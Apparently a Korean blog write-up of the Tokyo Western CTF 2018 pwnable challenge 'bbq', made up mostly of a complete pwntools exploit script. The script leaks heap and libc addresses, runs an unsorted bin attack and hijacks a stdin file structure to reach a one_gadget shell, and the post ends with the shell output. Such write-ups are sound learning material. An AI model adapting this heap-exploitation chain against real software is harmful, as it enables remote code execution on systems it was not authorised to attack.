Category : pwnable
host : pwn1.chal.ctf.westerns.tokyo |
Summary : uninitialized variable, manipulate heap chunks, unsorted bin attack
다른 풀이 방법도 있지만, unsorted bin attack으로 풀겠다고 고집부리다가 꽤 오래 걸린 문제.
취약점은 간단하지만, heap chunk들을 잘 조작해야해서 exploit이 오래걸린다.
그래도 이런 풀이로 풀 수 있는 문제 많을듯. god angelboy.
풀고나서 다른 풀이있나 write-up을 찾아봤는데 좀 지렸다. 나는 전혀 생각못한 방법으로 푸심.
https://changochen.github.io/2018/09/01/Tokyo-Western_CTF-2018/
__malloc_hook 주변에 어떻게 chunk 할당하지 고민하다 포기했는데 ...!
나중에 저 방법으로도 풀어봐야지.
Uninitialized variable
|
cook_list에 존재하지 않는 food를 eat하려고 하면 ptr을 초기화하지 않고 뒤에서 사용함.
=> uninitialized variable
Exploit
#!/usr/bin/python
from pwn import *
def cmd_buy(name, amount):
ru('Choice: ')
sl('1')
ru('food name >> ')
sl(name)
ru('amount >> ')
sl(str(amount))
def cmd_grill(name, idx):
ru('Choice: ')
sl('2')
ru('which food >> ')
sl(name)
ru('griddle index >> ')
sl(str(idx))
assert 'Not found...' not in rl()
def cmd_eat(idx, choice='3'):
ru('Choice: ')
sl(choice)
ru('griddle index >> ')
sl(str(idx))
rl()
def get_cook_list(needle):
res = ''
ru('Choice: ')
sl('2')
ru('\nFood Stock List\n')
while 1:
tmp = rl()
if 'Cooking List\n' in tmp:
break
if needle in tmp:
res = tmp.split(' ')
ru('which food >> ')
sl('NONEXISTFOOD')
ru('Not found...\n')
return res
#s = process('./bbq')
s = remote('pwn1.chal.ctf.westerns.tokyo', 21638)
ru = s.recvuntil
rl = s.recvline
sl = s.sendline
ss = s.send
############# leak heap addr ################
cmd_buy('a'*0x10+p64(0xdeadbeef11)[:6], 0x9090)
cmd_buy('b'*0x1f, 0x9090)
cmd_buy('d'*0x10+p64(0xdeadbeef11), 1337)
cmd_buy('e'*0x2f, 0x9090)
cmd_grill('e'*0x2f, 0)
cmd_eat(0)
cmd_buy('f'*0x27, 0x9090) # overwrite uninitialized_variable[0] = '\x00'
cmd_eat(1) # free(uninitialized_variable)
cmd_buy('d'*0x2f, 0x9090) # re allocated at 3rd obj
heap = u64(get_cook_list(str(1337))[1].ljust(8, '\x00')) - 0x180
print hex(heap)
##############################################
cmd_grill('e'*0x2f, 0)
cmd_grill('e'*0x2f, 1)
cmd_grill('e'*0x2f, 2)
############ unsorted bin attack start ##############
cmd_buy(p64(0xdeadbeef11), 0xc1) # fake unsorted chunk header
cmd_eat(0)
cmd_buy('D' * 0x3e, 3030)
cmd_buy('E' * 0xe, 0x9090)
cmd_eat(1)
cmd_buy('F' * 0x28, 0x9090)
cmd_eat(2)
#raw_input('free unsorted bin>>')
cmd_eat(0, choice=('3'+'a'*0x37+p64(heap+0x280)[:6])) # free fake chunk
cmd_buy(p64(0xffffffffff600804)+'G'*0x1c, 0x9090)
libc_base = u64(get_cook_list('3030')[1].ljust(8, '\x00')) - 0x3c4b78
print hex(libc_base)
cmd_buy('W'*0x1f, 0x9090)
#####################################################
### *chunk->bk -= (main_arena+88 - stdin_buf_end) ####
stdin_buf_base = libc_base + 0x3c4920 - 16
arena = libc_base + 0x3c4b78
dword_offset = ((stdin_buf_base & 0xffffffff) - (arena & 0xffffffff)) & 0xffffffff
cmd_buy('E' * 0xe, dword_offset / 2)
cmd_buy('E' * 0xe, dword_offset - (dword_offset / 2))
cmd_eat(0, choice=('3'+'a'*0x37+p64(heap+0x70)[:6]))
cmd_buy('X' * 0x2f, 0x9090)
##########################################################
'''
gdb-peda$ x/20a 0x7f341cd7d960
0x7f341cd7d960 <_IO_2_1_stdin_+128>: 0xa000000 0x7f341cd7f790
0x7f341cd7d970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0
0x7f341cd7d980 <_IO_2_1_stdin_+160>: 0x7f341cd7d9c0 0x0
0x7f341cd7d990 <_IO_2_1_stdin_+176>: 0x0 0x0
0x7f341cd7d9a0 <_IO_2_1_stdin_+192>: 0xffffffff 0x0
0x7f341cd7d9b0 <_IO_2_1_stdin_+208>: 0x0 0x7f341cd7c6e0 <_IO_file_jumps>
0x7f341cd7d9c0: 0x0 0x0
0x7f341cd7d9d0: 0x0 0x0
0x7f341cd7d9e0: 0x0 0x0
0x7f341cd7d9f0: 0x0 0x0
gdb-peda$
0x7f341cd7da00: 0x0 0x0
0x7f341cd7da10: 0x0 0x0
0x7f341cd7da20: 0x0 0x0
0x7f341cd7da30: 0x0 0x0
0x7f341cd7da40: 0x0 0x0
0x7f341cd7da50: 0x0 0x0
0x7f341cd7da60: 0x0 0x0
0x7f341cd7da70: 0x0 0x0
0x7f341cd7da80: 0x0 0x0
0x7f341cd7da90: 0x0 0x0
gdb-peda$
0x7f341cd7daa0: 0x0 0x0
0x7f341cd7dab0: 0x0 0x0
0x7f341cd7dac0: 0x0 0x0
0x7f341cd7dad0: 0x0 0x0
0x7f341cd7dae0: 0x0 0x0
0x7f341cd7daf0: 0x7f341cd7c260 <_IO_wfile_jumps> 0x0
0x7f341cd7db00 <__memalign_hook>: 0x7f341ca3ee20 0x7f341ca3ea00
0x7f341cd7db10 <__malloc_hook>: 0x0 0x0
'''
############ overwrite _IO_file_jumps #############
#raw_input('trigger>>>>>>>')
libc_one_gadget = libc_base + 0x4526a
pay = ''
pay += '11111' + p64(libc_base + 0x3c6790)
pay += p64(0xffffffffffffffff) + p64(0x0)
pay += p64(libc_base + 0x3c49c0) + p64(0x0)
pay += p64(0x0) + p64(0x0)
pay += '22222222' + p64(0x0)
pay += p64(0x0) + p64(libc_base + 0x3c49e0 - 0x18) # _IO_file_jumps = one_gadget - 0x18
# => 0x7f63e8cb7193: call QWORD PTR [rax+0x18]
pay += p64(0x0) + p64(0x0)
pay += p64(0x0) + p64(0x0)
pay += p64(libc_one_gadget)
sl(pay)
ru('Bye!')
######################################################
s.interactive()
s.close()
$ python ex.py
[+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 21638: Done
0x55fc26ec3000
0x7ff0c2505000
[*] Switching to interactive mode
$ id
uid=20025 gid=20000(bbq) groups=20000(bbq)
$ cat /home/bbq/flag.txt
TWCTF{????????????????????????????????}
'CTF > 2018' 카테고리의 다른 글
SECCON 2018 QUAL - Simple memo (0) | 2018.11.02 |
---|---|
HITCON CTF 2018 - groot (0) | 2018.10.30 |
Tokyo Western CTF 2018 - swap Returns (0) | 2018.09.03 |
Tokyo Western CTF 2018 - Neighbor C (0) | 2018.09.03 |
Tokyo Western CTF 2018 - load (0) | 2018.09.03 |